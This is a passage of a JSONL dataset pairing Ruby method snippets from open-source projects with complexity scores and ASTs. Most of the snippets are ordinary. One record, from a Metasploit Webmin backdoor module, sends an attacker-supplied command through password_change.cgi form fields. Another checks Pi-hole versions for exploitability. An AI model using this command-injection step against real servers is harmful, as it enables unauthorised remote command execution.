end","complexity_score":18.0,"ast_json":"{\"type\":\"def\",\"children\":[\"perform\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"project_id\"]},{\"type\":\"arg\",\"children\":[\"channel\"]}]},{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"project\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Project\"]},\"find_by_id\",{\"type\":\"lvar\",\"children\":[\"project_id\"]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"project\"]},null,{\"type\":\"return\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"response\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Packages\"]},\"Helm\"]},\"CreateMetadataCacheService\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"project\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]},\"execute\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"success?\"]},{\"type\":\"return\",\"children\":[]},null]},{\"type\":\"lvasgn\",\"children\":[\"error\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CreationFailedError\"]},\"new\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"response\"]},\"message\"]}]}]},{\"type\":\"send\",\"children\":[null,\"log_error\",{\"type\":\"lvar\",\"children\":[\"error\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[null,\"StandardError\"]}]},{\"type\":\"lvasgn\",\"children\":[\"e\"]},{\"type\":\"send\",\"children\":[null,\"log_error\",{\"type\":\"lvar\",\"children\":[\"e\"]},{\"type\":\"lvar\",\"children\":[\"project_id\"]},{\"type\":\"lvar\",\"children\":[\"channel\"]}]}]},null]}]}","id":"9855ebdf-55c3-4c40-b183-fcc7f10cc3ed"}
{"repo_name":"discourse","file_path":"./repos/discourse/lib/file_store/s3_store.rb","start_line":210,"raw_source":"def path_for(upload)\n      url = upload&.url\n      FileStore::LocalStore.new.path_for(upload) if url && url[%r{\\A/[^/]}]\n    end","complexity_score":7.5,"ast_json":"{\"type\":\"def\",\"children\":[\"path_for\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"upload\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"url\",{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"upload\"]},\"url\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"url\"]},\"[]\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\\A/[^/]\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"FileStore\"]},\"LocalStore\"]},\"new\"]},\"path_for\",{\"type\":\"lvar\",\"children\":[\"upload\"]}]},null]}]}]}","id":"ad0a3787-1341-4d70-9db5-4a7da664eb64"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/models/concerns/users/email_otp_enrollment.rb","start_line":11,"raw_source":"def email_otp_enrollment_restriction\n      return :uses_external_authenticator if password_automatically_set?\n\n      # TwoFactorAuthVerifier provides Group, Global, and Admin 2FA\n      # restriction logic\n      reason = Gitlab::Auth::TwoFactorAuthVerifier.new(self).two_factor_authentication_reason\n      return :\"#{reason}_enforcement\" if reason\n\n      return :future_enforcement          if email_otp_required_after&.future?\n      return :email_otp_required          if must_require_email_otp?\n\n      nil\n    end","complexity_score":11.5,"ast_json":"{\"type\":\"def\",\"children\":[\"email_otp_enrollment_restriction\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"password_automatically_set?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"uses_external_authenticator\"]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"reason\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Gitlab\"]},\"Auth\"]},\"TwoFactorAuthVerifier\"]},\"new\",{\"type\":\"self\",\"children\":[]}]},\"two_factor_authentication_reason\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason\"]},{\"type\":\"return\",\"children\":[{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"reason\"]}]},{\"type\":\"str\",\"children\":[\"_enforcement\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"send\",\"children\":[null,\"email_otp_required_after\"]},\"future?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"future_enforcement\"]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"must_require_email_otp?\"]},{\"type\":\"return\",\"children\":[{\"type\":\"sym\",\"children\":[\"email_otp_required\"]}]},null]},{\"type\":\"nil\",\"children\":[]}]}]}","id":"1ff7c6aa-9cf1-4c3e-af72-9996f46445f8"}
{"repo_name":"rails","file_path":"./repos/rails/activerecord/lib/active_record/locking/optimistic.rb","start_line":149,"raw_source":"def _clear_locking_column\n          self[self.class.locking_column] = nil\n          clear_attribute_change(self.class.locking_column)\n        end","complexity_score":6.8,"ast_json":"{\"type\":\"def\",\"children\":[\"_clear_locking_column\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"[]=\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"locking_column\"]},{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"send\",\"children\":[null,\"clear_attribute_change\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"class\"]},\"locking_column\"]}]}]}]}","id":"47b10105-f419-44b3-b212-4cd9d23087ec"}
{"repo_name":"rails","file_path":"./repos/rails/actionpack/test/dispatch/request/session_test.rb","start_line":102,"raw_source":"def test_delete\n        s = Session.create(store, req, {})\n        s[\"rails\"] = \"ftw\"\n\n        s.delete(\"rails\")\n\n        assert_empty(s.keys)\n      end","complexity_score":8.6,"ast_json":"{\"type\":\"def\",\"children\":[\"test_delete\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"s\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Session\"]},\"create\",{\"type\":\"send\",\"children\":[null,\"store\"]},{\"type\":\"send\",\"children\":[null,\"req\"]},{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"[]=\",{\"type\":\"str\",\"children\":[\"rails\"]},{\"type\":\"str\",\"children\":[\"ftw\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"delete\",{\"type\":\"str\",\"children\":[\"rails\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_empty\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"s\"]},\"keys\"]}]}]}]}","id":"0b40fc89-7c15-4e70-94d6-c6e4d88ddb81"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/generators/gitlab/usage_metric_generator.rb","start_line":68,"raw_source":"def spec_file_path\n      dir = ee? ? SPEC_EE_DIR : SPEC_CE_DIR\n\n      File.join(dir, spec_file_name)\n    end","complexity_score":5.2,"ast_json":"{\"type\":\"def\",\"children\":[\"spec_file_path\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"dir\",{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ee?\"]},{\"type\":\"const\",\"children\":[null,\"SPEC_EE_DIR\"]},{\"type\":\"const\",\"children\":[null,\"SPEC_CE_DIR\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"File\"]},\"join\",{\"type\":\"lvar\",\"children\":[\"dir\"]},{\"type\":\"send\",\"children\":[null,\"spec_file_name\"]}]}]}]}","id":"cf85dba7-39ea-4168-8f67-549e592fbe25"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/linux/http/webmin_backdoor.rb","start_line":208,"raw_source":"def execute_command(cmd, _opts = {})\n    send_request_cgi({\n      'method' => 'POST',\n      'uri' => normalize_uri(target_uri.path, 'password_change.cgi'),\n      'headers' => { 'Referer' => full_uri },\n      'vars_post' => {\n        # 1.890\n        'expired' => cmd,\n        # 1.900-1.920\n        'new1' => token,\n        'new2' => token,\n        'old' => cmd\n      }\n    }, 3.5)\n  end","complexity_score":10.1,"ast_json":"{\"type\":\"def\",\"children\":[\"execute_command\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"cmd\"]},{\"type\":\"optarg\",\"children\":[\"_opts\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"str\",\"children\":[\"password_change.cgi\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Referer\"]},{\"type\":\"send\",\"children\":[null,\"full_uri\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"expired\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"new1\"]},{\"type\":\"send\",\"children\":[null,\"token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"new2\"]},{\"type\":\"send\",\"children\":[null,\"token\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"old\"]},{\"type\":\"lvar\",\"children\":[\"cmd\"]}]}]}]}]},{\"type\":\"float\",\"children\":[3.5]}]}]}","id":"a62dcef4-1bf1-44d1-b352-599c0181898b"}
{"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/unix/http/pihole_whitelist_exec.rb","start_line":100,"raw_source":"def check\n    begin\n      _version, web_version, _ftl = get_versions\n\n      if web_version.nil?\n        print_error(\"#{peer} - Could not connect to web service - no response or non-200 HTTP code\")\n        return Exploit::CheckCode::Unknown\n      end\n\n      if web_version && Rex::Version.new(web_version) < Rex::Version.new('3.3')\n        vprint_good(\"Web Interface Version Detected: #{web_version}\")\n        return CheckCode::Appears\n      else\n        vprint_bad(\"Web Interface Version Detected: #{web_version}\")\n        return CheckCode::Safe\n      end\n    rescue ::Rex::ConnectionError\n      print_error(\"#{peer} - Could not connect to the web service\")\n      return Exploit::CheckCode::Unknown\n    end\n    CheckCode::Safe\n  end","complexity_score":24.3,"ast_json":"{\"type\":\"def\",\"children\":[\"check\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"kwbegin\",\"children\":[{\"type\":\"rescue\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"masgn\",\"children\":[{\"type\":\"mlhs\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"_version\"]},{\"type\":\"lvasgn\",\"children\":[\"web_version\"]},{\"type\":\"lvasgn\",\"children\":[\"_ftl\"]}]},{\"type\":\"send\",\"children\":[null,\"get_versions\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_version\"]},\"nil?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to web service - no response or non-200 HTTP code\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_version\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"lvar\",\"children\":[\"web_version\"]}]},\"<\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Rex\"]},\"Version\"]},\"new\",{\"type\":\"str\",\"children\":[\"3.3\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Web Interface Version Detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_version\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Appears\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"vprint_bad\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Web Interface Version Detected: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"web_version\"]}]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}]}]},{\"type\":\"resbody\",\"children\":[{\"type\":\"array\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"Rex\"]},\"ConnectionError\"]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"peer\"]}]},{\"type\":\"str\",\"children\":[\" - Could not connect to the web service\"]}]}]},{\"type\":\"return\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Exploit\"]},\"CheckCode\"]},\"Unknown\"]}]}]}]},null]}]},{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"CheckCode\"]},\"Safe\"]}]}]}","id":"d1cba7e2-1211-408f-8372-dbff9464a132"}
{"repo_name":"puma","file_path":"./repos/puma/test/test_cli.rb","start_line":117,"raw_source":"def test_control_for_ssl\n    skip_unless :ssl\n\n    require \"net/http\"\n    control_port = UniquePort.call\n    control_host = \"127.0.0.1\"\n    control_url = \"ssl://#{control_host}:#{control_port}?#{ssl_query}\"\n    token = \"token\"\n\n    cli = Puma::CLI.new [\"-b\", \"tcp://127.0.0.1:0\",\n                         \"--control-url\", control_url,\n                         \"--control-token\", token,\n                         \"test/rackup/hello.ru\"], @log_writer, @events\n\n    t = Thread.new { cli.run }\n\n    wait_booted\n\n    body = send_http_read_resp_body \"GET /stats?token=#{token} HTTP/1.0\\r\\n\\r\\n\",\n      port: control_port, ctx: new_ctx\n\n    check_single_stats body\n  ensure\n    # always called, even if skipped\n    cli&.launcher&.stop\n    t&.join\n  end","complexity_score":24.8,"ast_json":"{\"type\":\"def\",\"children\":[\"test_control_for_ssl\",{\"type\":\"args\",\"children\":[]},{\"type\":\"ensure\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"skip_unless\",{\"type\":\"sym\",\"children\":[\"ssl\"]}]},{\"type\":\"send\",\"children\":[null,\"require\",{\"type\":\"str\",\"children\":[\"net/http\"]}]},{\"type\":\"lvasgn\",\"children\":[\"control_port\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"UniquePort\"]},\"call\"]}]},{\"type\":\"lvasgn\",\"children\":[\"control_host\",{\"type\":\"str\",\"children\":[\"127.0.0.1\"]}]},{\"type\":\"lvasgn\",\"children\":[\"control_url\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"ssl://\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"control_host\"]}]},{\"type\":\"str\",\"children\":[\":\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"control_port\"]}]},{\"type\":\"str\",\"children\":[\"?\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"ssl_query\"]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"token\",{\"type\":\"str\",\"children\":[\"token\"]}]},{\"type\":\"lvasgn\",\"children\":[\"cli\",{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Puma\"]},\"CLI\"]},\"new\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"-b\"]},{\"type\":\"str\",\"children\":[\"tcp://127.0.0.1:0\"]},{\"type\":\"str\",\"children\":[\"--control-url\"]},{\"type\":\"lvar\",\"children\":[\"control_url\"]},{\"type\":\"str\",\"children\":[\"--control-token\"]},{\"type\":\"lvar\",\"children\":[\"token\"]},{\"type\":\"str\",\"children\":[\"test/rackup/hello.ru\"]}]},{\"type\":\"ivar\",\"children\":[\"@log_writer\"]},{\"type\":\"ivar\",\"children\":[\"@events\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"t\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Thread\"]},\"new\"]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"run\"]}]}]},{\"type\":\"send\",\"children\":[null,\"wait_booted\"]},{\"type\":\"lvasgn\",\"children\":[\"body\",{\"type\":\"send\",\"children\":[null,\"send_http_read_resp_body\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"GET /stats?token=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"token\"]}]},{\"type\":\"str\",\"children\":[\" HTTP/1.0\\r\\n\\r\\n\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"port\"]},{\"type\":\"lvar\",\"children\":[\"control_port\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"ctx\"]},{\"type\":\"send\",\"children\":[null,\"new_ctx\"]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"check_single_stats\",{\"type\":\"lvar\",\"children\":[\"body\"]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cli\"]},\"launcher\"]},\"stop\"]},{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"t\"]},\"join\"]}]}]}]}","id":"668327b3-aabb-471f-96e9-9a1654267dc2"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/app/controllers/concerns/wiki_actions.rb","start_line":308,"raw_source":"def handle_action_success(action, page)\n    if page.title == Wiki::SIDEBAR\n      flash[:toast] = s_('Wiki|Sidebar was successfully created.') if action == :created\n      flash[:toast] = s_('Wiki|Sidebar was successfully updated.') if action == :updated\n\n      redirect_to wiki_path(wiki)\n    else\n      flash[:toast] = s_('Wiki|Wiki page was successfully created.') if action == :created\n      flash[:toast] = s_('Wiki|Wiki page was successfully updated.') if action == :updated\n\n      redirect_to(wiki_page_path(wiki, page))\n    end\n  end","complexity_score":36.8,"ast_json":"{\"type\":\"def\",\"children\":[\"handle_action_success\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"action\"]},{\"type\":\"arg\",\"children\":[\"page\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"page\"]},\"title\"]},\"==\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Wiki\"]},\"SIDEBAR\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"==\",{\"type\":\"sym\",\"children\":[\"created\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"toast\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Wiki|Sidebar was successfully created.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"==\",{\"type\":\"sym\",\"children\":[\"updated\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"toast\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Wiki|Sidebar was successfully updated.\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"wiki_path\",{\"type\":\"send\",\"children\":[null,\"wiki\"]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"==\",{\"type\":\"sym\",\"children\":[\"created\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"toast\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Wiki|Wiki page was successfully created.\"]}]}]},null]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"action\"]},\"==\",{\"type\":\"sym\",\"children\":[\"updated\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"flash\"]},\"[]=\",{\"type\":\"sym\",\"children\":[\"toast\"]},{\"type\":\"send\",\"children\":[null,\"s_\",{\"type\":\"str\",\"children\":[\"Wiki|Wiki page was successfully updated.\"]}]}]},null]},{\"type\":\"send\",\"children\":[null,\"redirect_to\",{\"type\":\"send\",\"children\":[null,\"wiki_page_path\",{\"type\":\"send\",\"children\":[null,\"wiki\"]},{\"type\":\"lvar\",\"children\":[\"page\"]}]}]}]}]}]}","id":"5911d7be-06ed-44ef-9694-e996edad9161"}
{"repo_name":"openproject","file_path":"./repos/openproject/app/services/authorization/query_transformation.rb","start_line":34,"raw_source":"def initialize(on,\n                 name,\n                 after,\n                 before,\n                 block)\n\n    self.on = on\n    self.name = name\n    self.after = after\n    self.before = before\n    self.block = block\n  end","complexity_score":5.0,"ast_json":"{\"type\":\"def\",\"children\":[\"initialize\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"on\"]},{\"type\":\"arg\",\"children\":[\"name\"]},{\"type\":\"arg\",\"children\":[\"after\"]},{\"type\":\"arg\",\"children\":[\"before\"]},{\"type\":\"arg\",\"children\":[\"block\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"on=\",{\"type\":\"lvar\",\"children\":[\"on\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"name=\",{\"type\":\"lvar\",\"children\":[\"name\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"after=\",{\"type\":\"lvar\",\"children\":[\"after\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"before=\",{\"type\":\"lvar\",\"children\":[\"before\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"self\",\"children\":[]},\"block=\",{\"type\":\"lvar\",\"children\":[\"block\"]}]}]}]}","id":"3b903e8f-91e9-4097-ba30-287d5641d19b"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/global_id.rb","start_line":7,"raw_source":"def self.build(object = nil, model_name: nil, id: nil, params: nil)\n      if object\n        model_name ||= object.class.name\n        id ||= object.id\n      end\n\n      ::URI::GID.build(app: GlobalID.app, model_name: model_name, model_id: id, params: params)\n    end","complexity_score":10.4,"ast_json":"{\"type\":\"defs\",\"children\":[{\"type\":\"self\",\"children\":[]},\"build\",{\"type\":\"args\",\"children\":[{\"type\":\"optarg\",\"children\":[\"object\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"model_name\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"id\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"kwoptarg\",\"children\":[\"params\",{\"type\":\"nil\",\"children\":[]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"if\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"model_name\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"class\"]},\"name\"]}]},{\"type\":\"or_asgn\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"id\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"object\"]},\"id\"]}]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[{\"type\":\"cbase\",\"children\":[]},\"URI\"]},\"GID\"]},\"build\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"app\"]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"GlobalID\"]},\"app\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_name\"]},{\"type\":\"lvar\",\"children\":[\"model_name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"model_id\"]},{\"type\":\"lvar\",\"children\":[\"id\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"params\"]},{\"type\":\"lvar\",\"children\":[\"params\"]}]}]}]}]}]}","id":"8de8eb78-4f45-457d-8ea8-81ab5894f2c1"}
{"repo_name":"gitlabhq","file_path":"./repos/gitlabhq/lib/gitlab/diff/file.rb","start_line":459,"raw_source":"def text_position_properties(line)\n        { old_line: line.old_line, new_line: line.new_line }\n      end","complexity_score":2.0,"ast_json":"{\"type\":\"def\",\"children\":[\"text_position_properties\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"line\"]}]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"old_line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"old_line\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"new_line\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"line\"]},\"new_line\"]}]}]}]}","id":"f62b593b-bf9a-4ceb-a62c-6b4992d034ed"}
{"repo_name":"fluentd","file_path":"./repos/fluentd/lib/fluent/plugin_helper/storage.rb","start_line":182,"raw_source":"def wrap_instance(storage)\n        if storage.persistent && storage.persistent_always?\n          storage\n        elsif storage.persistent\n          PersistentWrapper.new(storage)\n        elsif !storage.synchronized?\n          SynchronizeWrapper.new(storage)\n        else\n          storage\n        end\n      